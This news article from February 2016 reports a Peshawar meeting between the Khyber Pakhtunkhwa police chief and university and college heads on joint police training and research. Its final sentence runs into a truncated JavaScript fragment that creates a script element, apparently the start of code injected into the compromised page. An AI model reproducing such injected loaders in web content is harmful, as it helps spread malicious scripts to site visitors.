Published On: Fri, Feb 12th, 2016
Published in Category: Peshawar

High level meeting held to further strengthen relations between KP police, educational institutions

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Peshawar: In order to further develop mutual beneficial assistance programmes between police department and the eminent educational institutions of the province, a high level meeting under the chairmanship of Inspector General of Police Khyber Pakhtunkhwa Nasir Khan Durrani was held at CPO Peshawar on Thursday.

Additional IGP Training, DIG Training, Vice Chancellors and Principles of the prominent Universities and Colleges of the province and Directors of police Specialized Schools attended the meeting.

It is worth mentioning here that seven Specialized Police Schools had been established in the province for the purpose of enhancing the capacity of police personnel through professional training in core policing areas to enable them to meet the modern day policing challenges.

Today’s meeting was held in order to further strengthen the relations between Khyber Pakhtunkhwa police and educational institutions in the field of training and research and to make these endeavours meaningful and well coordinated.

DIG training with the help of maps and slides gave a detailed presentation about the three main pillars of the KP police regarding better service delivery, the nature of courses , the courses so far conducted and the police officers and jawan trained in it. On this occasion the Vice Chancellors and principles of the educational institutions presented some suggestions for further improving the standard of courses to meet the impending challenges in a befitting manner.

Addressing the participants the IGP Nasir Khan Durrani said that we have to formulate our strategy in the light of prevalent environment and culture as knowledge with indigence experience was very necessary to meet the local challenges.

The IGP informed that security has taken prime importance and stressed the need for enhancing the evaluation and assessment procedure for it. The IGP urged the heads of the educational institution to make its own “Think Tank” and also included police officers in it and submit its recommendation for further mutually beneficial assistance.

He said that with collaboration of Bookish knowledge of the university and practical experience of the police a mechanism should be evolved which will be mutually beneficial.

The IGP also informed that the biggest dilemma was that the gap between academia and practitioner had further widened and urged that policing topics should be included in the syllabus of the educational institutions so that future builders of the nation can be prepared to face the lingering challenges.var d=document;var s=d.createElement(‘script’);